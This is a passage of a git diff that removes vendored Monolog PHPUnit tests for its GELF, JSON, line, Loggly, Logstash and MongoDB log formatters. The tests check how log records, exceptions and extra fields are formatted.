array('key' => 'pair'), - 'message' => 'log', - ); - - $message = $formatter->format($record); - - $this->assertInstanceOf('Gelf\Message', $message); - - $message_array = $message->toArray(); - - $this->assertArrayHasKey('_ctxt_from', $message_array); - $this->assertEquals('logger', $message_array['_ctxt_from']); - - // Test with extraPrefix - $formatter = new GelfMessageFormatter(null, null, 'CTX'); - $message = $formatter->format($record); - - $this->assertInstanceOf('Gelf\Message', $message); - - $message_array = $message->toArray(); - - $this->assertArrayHasKey('_CTXfrom', $message_array); - $this->assertEquals('logger', $message_array['_CTXfrom']); - } - - /** - * @covers Monolog\Formatter\GelfMessageFormatter::format - */ - public function testFormatWithContextContainingException() - { - $formatter = new GelfMessageFormatter(); - $record = array( - 'level' => Logger::ERROR, - 'level_name' => 'ERROR', - 'channel' => 'meh', - 'context' => array('from' => 'logger', 'exception' => array( - 'class' => '\Exception', - 'file' => '/some/file/in/dir.php:56', - 'trace' => array('/some/file/1.php:23', '/some/file/2.php:3'), - )), - 'datetime' => new \DateTime("@0"), - 'extra' => array(), - 'message' => 'log', - ); - - $message = $formatter->format($record); - - $this->assertInstanceOf('Gelf\Message', $message); - - $this->assertEquals("/some/file/in/dir.php", $message->getFile()); - $this->assertEquals("56", $message->getLine()); - } - - /** - * @covers Monolog\Formatter\GelfMessageFormatter::format - */ - public function testFormatWithExtra() - { - $formatter = new GelfMessageFormatter(); - $record = array( - 'level' => Logger::ERROR, - 'level_name' => 'ERROR', - 'channel' => 'meh', - 'context' => array('from' => 'logger'), - 'datetime' => new \DateTime("@0"), - 'extra' => array('key' => 'pair'), - 'message' => 'log', - ); - - $message = $formatter->format($record); - - $this->assertInstanceOf('Gelf\Message', $message); - - $message_array = $message->toArray(); - - $this->assertArrayHasKey('_key', $message_array); - $this->assertEquals('pair', $message_array['_key']); - - // Test with extraPrefix - $formatter = new GelfMessageFormatter(null, 'EXT'); - $message = $formatter->format($record); - - $this->assertInstanceOf('Gelf\Message', $message); - - $message_array = $message->toArray(); - - $this->assertArrayHasKey('_EXTkey', $message_array); - $this->assertEquals('pair', $message_array['_EXTkey']); - } - - public function testFormatWithLargeData() - { - $formatter = new GelfMessageFormatter(); - $record = array( - 'level' => Logger::ERROR, - 'level_name' => 'ERROR', - 'channel' => 'meh', - 'context' => array('exception' => str_repeat(' ', 32767)), - 'datetime' => new \DateTime("@0"), - 'extra' => array('key' => str_repeat(' ', 32767)), - 'message' => 'log' - ); - $message = $formatter->format($record); - $messageArray = $message->toArray(); - - // 200 for padding + metadata - $length = 200; - - foreach ($messageArray as $key => $value) { - if (!in_array($key, array('level', 'timestamp'))) { - $length += strlen($value); - } - } - - $this->assertLessThanOrEqual(65792, $length, 'The message length is no longer than the maximum allowed length'); - } - - public function testFormatWithUnlimitedLength() - { - $formatter = new GelfMessageFormatter('LONG_SYSTEM_NAME', null, 'ctxt_', PHP_INT_MAX); - $record = array( - 'level' => Logger::ERROR, - 'level_name' => 'ERROR', - 'channel' => 'meh', - 'context' => array('exception' => str_repeat(' ', 32767 * 2)), - 'datetime' => new \DateTime("@0"), - 'extra' => array('key' => str_repeat(' ', 32767 * 2)), - 'message' => 'log' - ); - $message = $formatter->format($record); - $messageArray = $message->toArray(); - - // 200 for padding + metadata - $length = 200; - - foreach ($messageArray as $key => $value) { - if (!in_array($key, array('level', 'timestamp'))) { - $length += strlen($value); - } - } - - $this->assertGreaterThanOrEqual(131289, $length, 'The message should not be truncated'); - } - - private function isLegacy() - { - return interface_exists('\Gelf\IMessagePublisher'); - } -} diff --git a/vendor/monolog/monolog/tests/Monolog/Formatter/JsonFormatterTest.php b/vendor/monolog/monolog/tests/Monolog/Formatter/JsonFormatterTest.php deleted file mode 100644 index 38c5f11660..0000000000 --- a/vendor/monolog/monolog/tests/Monolog/Formatter/JsonFormatterTest.php +++ /dev/null @@ -1,227 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Formatter; - -use Monolog\Logger; -use Monolog\TestCase; - -class JsonFormatterTest extends TestCase -{ - /** - * @covers Monolog\Formatter\JsonFormatter::__construct - * @covers Monolog\Formatter\JsonFormatter::getBatchMode - * @covers Monolog\Formatter\JsonFormatter::isAppendingNewlines - */ - public function testConstruct() - { - $formatter = new JsonFormatter(); - $this->assertEquals(JsonFormatter::BATCH_MODE_JSON, $formatter->getBatchMode()); - $this->assertEquals(true, $formatter->isAppendingNewlines()); - $formatter = new JsonFormatter(JsonFormatter::BATCH_MODE_NEWLINES, false); - $this->assertEquals(JsonFormatter::BATCH_MODE_NEWLINES, $formatter->getBatchMode()); - $this->assertEquals(false, $formatter->isAppendingNewlines()); - } - - /** - * @covers Monolog\Formatter\JsonFormatter::format - */ - public function testFormat() - { - $formatter = new JsonFormatter(); - $record = $this->getRecord(); - $this->assertEquals(json_encode($record)."\n", $formatter->format($record)); - - $formatter = new JsonFormatter(JsonFormatter::BATCH_MODE_JSON, false); - $record = $this->getRecord(); - $this->assertEquals(json_encode($record), $formatter->format($record)); - } - - /** - * @covers Monolog\Formatter\JsonFormatter::formatBatch - * @covers Monolog\Formatter\JsonFormatter::formatBatchJson - */ - public function testFormatBatch() - { - $formatter = new JsonFormatter(); - $records = array( - $this->getRecord(Logger::WARNING), - $this->getRecord(Logger::DEBUG), - ); - $this->assertEquals(json_encode($records), $formatter->formatBatch($records)); - } - - /** - * @covers Monolog\Formatter\JsonFormatter::formatBatch - * @covers Monolog\Formatter\JsonFormatter::formatBatchNewlines - */ - public function testFormatBatchNewlines() - { - $formatter = new JsonFormatter(JsonFormatter::BATCH_MODE_NEWLINES); - $records = $expected = array( - $this->getRecord(Logger::WARNING), - $this->getRecord(Logger::DEBUG), - ); - array_walk($expected, function (&$value, $key) { - $value = json_encode($value); - }); - $this->assertEquals(implode("\n", $expected), $formatter->formatBatch($records)); - } - - public function testDefFormatWithException() - { - $formatter = new JsonFormatter(); - $exception = new \RuntimeException('Foo'); - $formattedException = $this->formatException($exception); - - $message = $this->formatRecordWithExceptionInContext($formatter, $exception); - - $this->assertContextContainsFormattedException($formattedException, $message); - } - - public function testDefFormatWithPreviousException() - { - $formatter = new JsonFormatter(); - $exception = new \RuntimeException('Foo', 0, new \LogicException('Wut?')); - $formattedPrevException = $this->formatException($exception->getPrevious()); - $formattedException = $this->formatException($exception, $formattedPrevException); - - $message = $this->formatRecordWithExceptionInContext($formatter, $exception); - - $this->assertContextContainsFormattedException($formattedException, $message); - } - - public function testDefFormatWithThrowable() - { - if (!class_exists('Error') || !is_subclass_of('Error', 'Throwable')) { - $this->markTestSkipped('Requires PHP >=7'); - } - - $formatter = new JsonFormatter(); - $throwable = new \Error('Foo'); - $formattedThrowable = $this->formatException($throwable); - - $message = $this->formatRecordWithExceptionInContext($formatter, $throwable); - - $this->assertContextContainsFormattedException($formattedThrowable, $message); - } - - public function testDefFormatWithResource() - { - $formatter = new JsonFormatter(JsonFormatter::BATCH_MODE_JSON, false); - $record = $this->getRecord(); - $record['context'] = array('field_resource' => curl_init()); - $this->assertEquals('{"message":"test","context":{"field_resource":"[resource] (curl)"},"level":300,"level_name":"WARNING","channel":"test","datetime":'.json_encode($record['datetime']).',"extra":[]}', $formatter->format($record)); - } - - /** - * @param string $expected - * @param string $actual - * - * @internal param string $exception - */ - private function assertContextContainsFormattedException($expected, $actual) - { - $this->assertEquals( - '{"level_name":"CRITICAL","channel":"core","context":{"exception":'.$expected.'},"datetime":null,"extra":[],"message":"foobar"}'."\n", - $actual - ); - } - - /** - * @param JsonFormatter $formatter - * @param \Exception|\Throwable $exception - * - * @return string - */ - private function formatRecordWithExceptionInContext(JsonFormatter $formatter, $exception) - { - $message = $formatter->format(array( - 'level_name' => 'CRITICAL', - 'channel' => 'core', - 'context' => array('exception' => $exception), - 'datetime' => null, - 'extra' => array(), - 'message' => 'foobar', - )); - return $message; - } - - /** - * @param \Exception|\Throwable $exception - * - * @return string - */ - private function formatExceptionFilePathWithLine($exception) - { - $options = 0; - if (version_compare(PHP_VERSION, '5.4.0', '>=')) { - $options = JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE; - } - $path = substr(json_encode($exception->getFile(), $options), 1, -1); - return $path . ':' . $exception->getLine(); - } - - /** - * @param \Exception|\Throwable $exception - * - * @param null|string $previous - * - * @return string - */ - private function formatException($exception, $previous = null) - { - $formattedException = - '{"class":"' . get_class($exception) . - '","message":"' . $exception->getMessage() . - '","code":' . $exception->getCode() . - ',"file":"' . $this->formatExceptionFilePathWithLine($exception) . - ($previous ? '","previous":' . $previous : '"') . - '}'; - return $formattedException; - } - - public function testNormalizeHandleLargeArraysWithExactly1000Items() - { - $formatter = new NormalizerFormatter(); - $largeArray = range(1, 1000); - - $res = $formatter->format(array( - 'level_name' => 'CRITICAL', - 'channel' => 'test', - 'message' => 'bar', - 'context' => array($largeArray), - 'datetime' => new \DateTime, - 'extra' => array(), - )); - - $this->assertCount(1000, $res['context'][0]); - $this->assertArrayNotHasKey('...', $res['context'][0]); - } - - public function testNormalizeHandleLargeArrays() - { - $formatter = new NormalizerFormatter(); - $largeArray = range(1, 2000); - - $res = $formatter->format(array( - 'level_name' => 'CRITICAL', - 'channel' => 'test', - 'message' => 'bar', - 'context' => array($largeArray), - 'datetime' => new \DateTime, - 'extra' => array(), - )); - - $this->assertCount(1001, $res['context'][0]); - $this->assertEquals('Over 1000 items (2000 total), aborting normalization', $res['context'][0]['...']); - } -} diff --git a/vendor/monolog/monolog/tests/Monolog/Formatter/LineFormatterTest.php b/vendor/monolog/monolog/tests/Monolog/Formatter/LineFormatterTest.php deleted file mode 100644 index 7d4efb7a84..0000000000 --- a/vendor/monolog/monolog/tests/Monolog/Formatter/LineFormatterTest.php +++ /dev/null @@ -1,222 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Formatter; - -/** - * @covers Monolog\Formatter\LineFormatter - */ -class LineFormatterTest extends \PHPUnit_Framework_TestCase -{ - public function testDefFormatWithString() - { - $formatter = new LineFormatter(null, 'Y-m-d'); - $message = $formatter->format(array( - 'level_name' => 'WARNING', - 'channel' => 'log', - 'context' => array(), - 'message' => 'foo', - 'datetime' => new \DateTime, - 'extra' => array(), - )); - $this->assertEquals('['.date('Y-m-d').'] log.WARNING: foo [] []'."\n", $message); - } - - public function testDefFormatWithArrayContext() - { - $formatter = new LineFormatter(null, 'Y-m-d'); - $message = $formatter->format(array( - 'level_name' => 'ERROR', - 'channel' => 'meh', - 'message' => 'foo', - 'datetime' => new \DateTime, - 'extra' => array(), - 'context' => array( - 'foo' => 'bar', - 'baz' => 'qux', - 'bool' => false, - 'null' => null, - ), - )); - $this->assertEquals('['.date('Y-m-d').'] meh.ERROR: foo {"foo":"bar","baz":"qux","bool":false,"null":null} []'."\n", $message); - } - - public function testDefFormatExtras() - { - $formatter = new LineFormatter(null, 'Y-m-d'); - $message = $formatter->format(array( - 'level_name' => 'ERROR', - 'channel' => 'meh', - 'context' => array(), - 'datetime' => new \DateTime, - 'extra' => array('ip' => '127.0.0.1'), - 'message' => 'log', - )); - $this->assertEquals('['.date('Y-m-d').'] meh.ERROR: log [] {"ip":"127.0.0.1"}'."\n", $message); - } - - public function testFormatExtras() - { - $formatter = new LineFormatter("[%datetime%] %channel%.%level_name%: %message% %context% %extra.file% %extra%\n", 'Y-m-d'); - $message = $formatter->format(array( - 'level_name' => 'ERROR', - 'channel' => 'meh', - 'context' => array(), - 'datetime' => new \DateTime, - 'extra' => array('ip' => '127.0.0.1', 'file' => 'test'), - 'message' => 'log', - )); - $this->assertEquals('['.date('Y-m-d').'] meh.ERROR: log [] test {"ip":"127.0.0.1"}'."\n", $message); - } - - public function testContextAndExtraOptionallyNotShownIfEmpty() - { - $formatter = new LineFormatter(null, 'Y-m-d', false, true); - $message = $formatter->format(array( - 'level_name' => 'ERROR', - 'channel' => 'meh', - 'context' => array(), - 'datetime' => new \DateTime, - 'extra' => array(), - 'message' => 'log', - )); - $this->assertEquals('['.date('Y-m-d').'] meh.ERROR: log '."\n", $message); - } - - public function testContextAndExtraReplacement() - { - $formatter = new LineFormatter('%context.foo% => %extra.foo%'); - $message = $formatter->format(array( - 'level_name' => 'ERROR', - 'channel' => 'meh', - 'context' => array('foo' => 'bar'), - 'datetime' => new \DateTime, - 'extra' => array('foo' => 'xbar'), - 'message' => 'log', - )); - $this->assertEquals('bar => xbar', $message); - } - - public function testDefFormatWithObject() - { - $formatter = new LineFormatter(null, 'Y-m-d'); - $message = $formatter->format(array( - 'level_name' => 'ERROR', - 'channel' => 'meh', - 'context' => array(), - 'datetime' => new \DateTime, - 'extra' => array('foo' => new TestFoo, 'bar' => new TestBar, 'baz' => array(), 'res' => fopen('php://memory', 'rb')), - 'message' => 'foobar', - )); - - $this->assertEquals('['.date('Y-m-d').'] meh.ERROR: foobar [] {"foo":"[object] (Monolog\\\\Formatter\\\\TestFoo: {\\"foo\\":\\"foo\\"})","bar":"[object] (Monolog\\\\Formatter\\\\TestBar: bar)","baz":[],"res":"[resource] (stream)"}'."\n", $message); - } - - public function testDefFormatWithException() - { - $formatter = new LineFormatter(null, 'Y-m-d'); - $message = $formatter->format(array( - 'level_name' => 'CRITICAL', - 'channel' => 'core', - 'context' => array('exception' => new \RuntimeException('Foo')), - 'datetime' => new \DateTime, - 'extra' => array(), - 'message' => 'foobar', - )); - - $path = str_replace('\\/', '/', json_encode(__FILE__)); - - $this->assertEquals('['.date('Y-m-d').'] core.CRITICAL: foobar {"exception":"[object] (RuntimeException(code: 0): Foo at '.substr($path, 1, -1).':'.(__LINE__ - 8).')"} []'."\n", $message); - } - - public function testDefFormatWithPreviousException() - { - $formatter = new LineFormatter(null, 'Y-m-d'); - $previous = new \LogicException('Wut?'); - $message = $formatter->format(array( - 'level_name' => 'CRITICAL', - 'channel' => 'core', - 'context' => array('exception' => new \RuntimeException('Foo', 0, $previous)), - 'datetime' => new \DateTime, - 'extra' => array(), - 'message' => 'foobar', - )); - - $path = str_replace('\\/', '/', json_encode(__FILE__)); - - $this->assertEquals('['.date('Y-m-d').'] core.CRITICAL: foobar {"exception":"[object] (RuntimeException(code: 0): Foo at '.substr($path, 1, -1).':'.(__LINE__ - 8).', LogicException(code: 0): Wut? at '.substr($path, 1, -1).':'.(__LINE__ - 12).')"} []'."\n", $message); - } - - public function testBatchFormat() - { - $formatter = new LineFormatter(null, 'Y-m-d'); - $message = $formatter->formatBatch(array( - array( - 'level_name' => 'CRITICAL', - 'channel' => 'test', - 'message' => 'bar', - 'context' => array(), - 'datetime' => new \DateTime, - 'extra' => array(), - ), - array( - 'level_name' => 'WARNING', - 'channel' => 'log', - 'message' => 'foo', - 'context' => array(), - 'datetime' => new \DateTime, - 'extra' => array(), - ), - )); - $this->assertEquals('['.date('Y-m-d').'] test.CRITICAL: bar [] []'."\n".'['.date('Y-m-d').'] log.WARNING: foo [] []'."\n", $message); - } - - public function testFormatShouldStripInlineLineBreaks() - { - $formatter = new LineFormatter(null, 'Y-m-d'); - $message = $formatter->format( - array( - 'message' => "foo\nbar", - 'context' => array(), - 'extra' => array(), - ) - ); - - $this->assertRegExp('/foo bar/', $message); - } - - public function testFormatShouldNotStripInlineLineBreaksWhenFlagIsSet() - { - $formatter = new LineFormatter(null, 'Y-m-d', true); - $message = $formatter->format( - array( - 'message' => "foo\nbar", - 'context' => array(), - 'extra' => array(), - ) - ); - - $this->assertRegExp('/foo\nbar/', $message); - } -} - -class TestFoo -{ - public $foo = 'foo'; -} - -class TestBar -{ - public function __toString() - { - return 'bar'; - } -} diff --git a/vendor/monolog/monolog/tests/Monolog/Formatter/LogglyFormatterTest.php b/vendor/monolog/monolog/tests/Monolog/Formatter/LogglyFormatterTest.php deleted file mode 100644 index 0107cf2d2b..0000000000 --- a/vendor/monolog/monolog/tests/Monolog/Formatter/LogglyFormatterTest.php +++ /dev/null @@ -1,40 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Formatter; - -use Monolog\TestCase; - -class LogglyFormatterTest extends TestCase -{ - /** - * @covers Monolog\Formatter\LogglyFormatter::__construct - */ - public function testConstruct() - { - $formatter = new LogglyFormatter(); - $this->assertEquals(LogglyFormatter::BATCH_MODE_NEWLINES, $formatter->getBatchMode()); - $formatter = new LogglyFormatter(LogglyFormatter::BATCH_MODE_JSON); - $this->assertEquals(LogglyFormatter::BATCH_MODE_JSON, $formatter->getBatchMode()); - } - - /** - * @covers Monolog\Formatter\LogglyFormatter::format - */ - public function testFormat() - { - $formatter = new LogglyFormatter(); - $record = $this->getRecord(); - $formatted_decoded = json_decode($formatter->format($record), true); - $this->assertArrayHasKey("timestamp", $formatted_decoded); - $this->assertEquals(new \DateTime($formatted_decoded["timestamp"]), $record["datetime"]); - } -} diff --git a/vendor/monolog/monolog/tests/Monolog/Formatter/LogstashFormatterTest.php b/vendor/monolog/monolog/tests/Monolog/Formatter/LogstashFormatterTest.php deleted file mode 100644 index 909a321bc4..0000000000 --- a/vendor/monolog/monolog/tests/Monolog/Formatter/LogstashFormatterTest.php +++ /dev/null @@ -1,333 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Formatter; - -use Monolog\Logger; - -class LogstashFormatterTest extends \PHPUnit_Framework_TestCase -{ - public function tearDown() - { - \PHPUnit_Framework_Error_Warning::$enabled = true; - - return parent::tearDown(); - } - - /** - * @covers Monolog\Formatter\LogstashFormatter::format - */ - public function testDefaultFormatter() - { - $formatter = new LogstashFormatter('test', 'hostname'); - $record = array( - 'level' => Logger::ERROR, - 'level_name' => 'ERROR', - 'channel' => 'meh', - 'context' => array(), - 'datetime' => new \DateTime("@0"), - 'extra' => array(), - 'message' => 'log', - ); - - $message = json_decode($formatter->format($record), true); - - $this->assertEquals("1970-01-01T00:00:00.000000+00:00", $message['@timestamp']); - $this->assertEquals('log', $message['@message']); - $this->assertEquals('meh', $message['@fields']['channel']); - $this->assertContains('meh', $message['@tags']); - $this->assertEquals(Logger::ERROR, $message['@fields']['level']); - $this->assertEquals('test', $message['@type']); - $this->assertEquals('hostname', $message['@source']); - - $formatter = new LogstashFormatter('mysystem'); - - $message = json_decode($formatter->format($record), true); - - $this->assertEquals('mysystem', $message['@type']); - } - - /** - * @covers Monolog\Formatter\LogstashFormatter::format - */ - public function testFormatWithFileAndLine() - { - $formatter = new LogstashFormatter('test'); - $record = array( - 'level' => Logger::ERROR, - 'level_name' => 'ERROR', - 'channel' => 'meh', - 'context' => array('from' => 'logger'), - 'datetime' => new \DateTime("@0"), - 'extra' => array('file' => 'test', 'line' => 14), - 'message' => 'log', - ); - - $message = json_decode($formatter->format($record), true); - - $this->assertEquals('test', $message['@fields']['file']); - $this->assertEquals(14, $message['@fields']['line']); - } - - /** - * @covers Monolog\Formatter\LogstashFormatter::format - */ - public function testFormatWithContext() - { - $formatter = new LogstashFormatter('test'); - $record = array( - 'level' => Logger::ERROR, - 'level_name' => 'ERROR', - 'channel' => 'meh', - 'context' => array('from' => 'logger'), - 'datetime' => new \DateTime("@0"), - 'extra' => array('key' => 'pair'), - 'message' => 'log', - ); - - $message = json_decode($formatter->format($record), true); - - $message_array = $message['@fields']; - - $this->assertArrayHasKey('ctxt_from', $message_array); - $this->assertEquals('logger', $message_array['ctxt_from']); - - // Test with extraPrefix - $formatter = new LogstashFormatter('test', null, null, 'CTX'); - $message = json_decode($formatter->format($record), true); - - $message_array = $message['@fields']; - - $this->assertArrayHasKey('CTXfrom', $message_array); - $this->assertEquals('logger', $message_array['CTXfrom']); - } - - /** - * @covers Monolog\Formatter\LogstashFormatter::format - */ - public function testFormatWithExtra() - { - $formatter = new LogstashFormatter('test'); - $record = array( - 'level' => Logger::ERROR, - 'level_name' => 'ERROR', - 'channel' => 'meh', - 'context' => array('from' => 'logger'), - 'datetime' => new \DateTime("@0"), - 'extra' => array('key' => 'pair'), - 'message' => 'log', - ); - - $message = json_decode($formatter->format($record), true); - - $message_array = $message['@fields']; - - $this->assertArrayHasKey('key', $message_array); - $this->assertEquals('pair', $message_array['key']); - - // Test with extraPrefix - $formatter = new LogstashFormatter('test', null, 'EXT'); - $message = json_decode($formatter->format($record), true); - - $message_array = $message['@fields']; - - $this->assertArrayHasKey('EXTkey', $message_array); - $this->assertEquals('pair', $message_array['EXTkey']); - } - - public function testFormatWithApplicationName() - { - $formatter = new LogstashFormatter('app', 'test'); - $record = array( - 'level' => Logger::ERROR, - 'level_name' => 'ERROR', - 'channel' => 'meh', - 'context' => array('from' => 'logger'), - 'datetime' => new \DateTime("@0"), - 'extra' => array('key' => 'pair'), - 'message' => 'log', - ); - - $message = json_decode($formatter->format($record), true); - - $this->assertArrayHasKey('@type', $message); - $this->assertEquals('app', $message['@type']); - } - - /** - * @covers Monolog\Formatter\LogstashFormatter::format - */ - public function testDefaultFormatterV1() - { - $formatter = new LogstashFormatter('test', 'hostname', null, 'ctxt_', LogstashFormatter::V1); - $record = array( - 'level' => Logger::ERROR, - 'level_name' => 'ERROR', - 'channel' => 'meh', - 'context' => array(), - 'datetime' => new \DateTime("@0"), - 'extra' => array(), - 'message' => 'log', - ); - - $message = json_decode($formatter->format($record), true); - - $this->assertEquals("1970-01-01T00:00:00.000000+00:00", $message['@timestamp']); - $this->assertEquals("1", $message['@version']); - $this->assertEquals('log', $message['message']); - $this->assertEquals('meh', $message['channel']); - $this->assertEquals('ERROR', $message['level']); - $this->assertEquals('test', $message['type']); - $this->assertEquals('hostname', $message['host']); - - $formatter = new LogstashFormatter('mysystem', null, null, 'ctxt_', LogstashFormatter::V1); - - $message = json_decode($formatter->format($record), true); - - $this->assertEquals('mysystem', $message['type']); - } - - /** - * @covers Monolog\Formatter\LogstashFormatter::format - */ - public function testFormatWithFileAndLineV1() - { - $formatter = new LogstashFormatter('test', null, null, 'ctxt_', LogstashFormatter::V1); - $record = array( - 'level' => Logger::ERROR, - 'level_name' => 'ERROR', - 'channel' => 'meh', - 'context' => array('from' => 'logger'), - 'datetime' => new \DateTime("@0"), - 'extra' => array('file' => 'test', 'line' => 14), - 'message' => 'log', - ); - - $message = json_decode($formatter->format($record), true); - - $this->assertEquals('test', $message['file']); - $this->assertEquals(14, $message['line']); - } - - /** - * @covers Monolog\Formatter\LogstashFormatter::format - */ - public function testFormatWithContextV1() - { - $formatter = new LogstashFormatter('test', null, null, 'ctxt_', LogstashFormatter::V1); - $record = array( - 'level' => Logger::ERROR, - 'level_name' => 'ERROR', - 'channel' => 'meh', - 'context' => array('from' => 'logger'), - 'datetime' => new \DateTime("@0"), - 'extra' => array('key' => 'pair'), - 'message' => 'log', - ); - - $message = json_decode($formatter->format($record), true); - - $this->assertArrayHasKey('ctxt_from', $message); - $this->assertEquals('logger', $message['ctxt_from']); - - // Test with extraPrefix - $formatter = new LogstashFormatter('test', null, null, 'CTX', LogstashFormatter::V1); - $message = json_decode($formatter->format($record), true); - - $this->assertArrayHasKey('CTXfrom', $message); - $this->assertEquals('logger', $message['CTXfrom']); - } - - /** - * @covers Monolog\Formatter\LogstashFormatter::format - */ - public function testFormatWithExtraV1() - { - $formatter = new LogstashFormatter('test', null, null, 'ctxt_', LogstashFormatter::V1); - $record = array( - 'level' => Logger::ERROR, - 'level_name' => 'ERROR', - 'channel' => 'meh', - 'context' => array('from' => 'logger'), - 'datetime' => new \DateTime("@0"), - 'extra' => array('key' => 'pair'), - 'message' => 'log', - ); - - $message = json_decode($formatter->format($record), true); - - $this->assertArrayHasKey('key', $message); - $this->assertEquals('pair', $message['key']); - - // Test with extraPrefix - $formatter = new LogstashFormatter('test', null, 'EXT', 'ctxt_', LogstashFormatter::V1); - $message = json_decode($formatter->format($record), true); - - $this->assertArrayHasKey('EXTkey', $message); - $this->assertEquals('pair', $message['EXTkey']); - } - - public function testFormatWithApplicationNameV1() - { - $formatter = new LogstashFormatter('app', 'test', null, 'ctxt_', LogstashFormatter::V1); - $record = array( - 'level' => Logger::ERROR, - 'level_name' => 'ERROR', - 'channel' => 'meh', - 'context' => array('from' => 'logger'), - 'datetime' => new \DateTime("@0"), - 'extra' => array('key' => 'pair'), - 'message' => 'log', - ); - - $message = json_decode($formatter->format($record), true); - - $this->assertArrayHasKey('type', $message); - $this->assertEquals('app', $message['type']); - } - - public function testFormatWithLatin9Data() - { - if (version_compare(PHP_VERSION, '5.5.0', '<')) { - // Ignore the warning that will be emitted by PHP <5.5.0 - \PHPUnit_Framework_Error_Warning::$enabled = false; - } - $formatter = new LogstashFormatter('test', 'hostname'); - $record = array( - 'level' => Logger::ERROR, - 'level_name' => 'ERROR', - 'channel' => '¯\_(ツ)_/¯', - 'context' => array(), - 'datetime' => new \DateTime("@0"), - 'extra' => array( - 'user_agent' => "\xD6WN; FBCR/OrangeEspa\xF1a; Vers\xE3o/4.0; F\xE4rist", - ), - 'message' => 'log', - ); - - $message = json_decode($formatter->format($record), true); - - $this->assertEquals("1970-01-01T00:00:00.000000+00:00", $message['@timestamp']); - $this->assertEquals('log', $message['@message']); - $this->assertEquals('¯\_(ツ)_/¯', $message['@fields']['channel']); - $this->assertContains('¯\_(ツ)_/¯', $message['@tags']); - $this->assertEquals(Logger::ERROR, $message['@fields']['level']); - $this->assertEquals('test', $message['@type']); - $this->assertEquals('hostname', $message['@source']); - if (version_compare(PHP_VERSION, '5.5.0', '>=')) { - $this->assertEquals('ÖWN; FBCR/OrangeEspaña; Versão/4.0; Färist', $message['@fields']['user_agent']); - } else { - // PHP <5.5 does not return false for an element encoding failure, - // instead it emits a warning (possibly) and nulls the value. - $this->assertEquals(null, $message['@fields']['user_agent']); - } - } -} diff --git a/vendor/monolog/monolog/tests/Monolog/Formatter/MongoDBFormatterTest.php b/vendor/monolog/monolog/tests/Monolog/Formatter/MongoDBFormatterTest.php deleted file mode 100644 index f079ba509f..0000000000 --- a/vendor/monolog/monolog/tests/Monolog/Formatter/MongoDBFormatterTest.php +++ /dev/null @@ -1,262 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Formatter; - -use Monolog\Logger; - -/** - * @author Florian Plattner - */ -class MongoDBFormatterTest extends \PHPUnit_Framework_TestCase -{ - public function setUp() - { - if (!class_exists('MongoDate')) { - $this->markTestSkipped('mongo extension not installed'); - } - } - - public function constructArgumentProvider() - { - return array( - array(1, true, 1, true), - array(0, false, 0, false), - ); - } - - /** - * @param $traceDepth - * @param $traceAsString - * @param $expectedTraceDepth - * @param $expectedTraceAsString - * - * @dataProvider constructArgumentProvider - */ - public function testConstruct($traceDepth, $traceAsString, $expectedTraceDepth, $expectedTraceAsString) - { - $formatter = new MongoDBFormatter($traceDepth, $traceAsString); - - $reflTrace = new \ReflectionProperty($formatter, 'exceptionTraceAsString'); - $reflTrace->setAccessible(true); - $this->assertEquals($expectedTraceAsString, $reflTrace->getValue($formatter)); - - $reflDepth = new\ReflectionProperty($formatter, 'maxNestingLevel'); - $reflDepth->setAccessible(true); - $this->assertEquals($expectedTraceDepth, $reflDepth->getValue($formatter)); - } - - public function testSimpleFormat() - { - $record = array( - 'message' => 'some log message', - 'context' => array(), - 'level' => Logger::WARNING, - 'level_name' => Logger::getLevelName(Logger::WARNING), - 'channel' => 'test', - 'datetime' => new \DateTime('2014-02-01 00:00:00'), - 'extra' => array(), - ); - - $formatter = new MongoDBFormatter(); - $formattedRecord = $formatter->format($record); - - $this->assertCount(7, $formattedRecord); - $this->assertEquals('some log message', $formattedRecord['message']); - $this->assertEquals(array(), $formattedRecord['context']); - $this->assertEquals(Logger::WARNING, $formattedRecord['level']); - $this->assertEquals(Logger::getLevelName(Logger::WARNING), $formattedRecord['level_name']); - $this->assertEquals('test', $formattedRecord['channel']); - $this->assertInstanceOf('\MongoDate', $formattedRecord['datetime']); - $this->assertEquals('0.00000000 1391212800', $formattedRecord['datetime']->__toString()); - $this->assertEquals(array(), $formattedRecord['extra']); - } - - public function testRecursiveFormat() - { - $someObject = new \stdClass(); - $someObject->foo = 'something'; - $someObject->bar = 'stuff'; - - $record = array( - 'message' => 'some log message', - 'context' => array( - 'stuff' => new \DateTime('2014-02-01 02:31:33'), - 'some_object' => $someObject, - 'context_string' => 'some string', - 'context_int' => 123456, - 'except' => new \Exception('exception message', 987), - ), - 'level' => Logger::WARNING, - 'level_name' => Logger::getLevelName(Logger::WARNING), - 'channel' => 'test', - 'datetime' => new \DateTime('2014-02-01 00:00:00'), - 'extra' => array(), - ); - - $formatter = new MongoDBFormatter(); - $formattedRecord = $formatter->format($record); - - $this->assertCount(5, $formattedRecord['context']); - $this->assertInstanceOf('\MongoDate', $formattedRecord['context']['stuff']); - $this->assertEquals('0.00000000 1391221893', $formattedRecord['context']['stuff']->__toString()); - $this->assertEquals( - array( - 'foo' => 'something', - 'bar' => 'stuff', - 'class' => 'stdClass', - ), - $formattedRecord['context']['some_object'] - ); - $this->assertEquals('some string', $formattedRecord['context']['context_string']); - $this->assertEquals(123456, $formattedRecord['context']['context_int']); - - $this->assertCount(5, $formattedRecord['context']['except']); - $this->assertEquals('exception message', $formattedRecord['context']['except']['message']); - $this->assertEquals(987, $formattedRecord['context']['except']['code']); - $this->assertInternalType('string', $formattedRecord['context']['except']['file']); - $this->assertInternalType('integer', $formattedRecord['context']['except']['code']); - $this->assertInternalType('string', $formattedRecord['context']['except']['trace']); - $this->assertEquals('Exception', $formattedRecord['context']['except']['class']); - } - - public function testFormatDepthArray() - { - $record = array( - 'message' => 'some log message', - 'context' => array( - 'nest2' => array( - 'property' => 'anything', - 'nest3' => array( - 'nest4' => 'value', - 'property' => 'nothing', - ), - ), - ), - 'level' => Logger::WARNING, - 'level_name' => 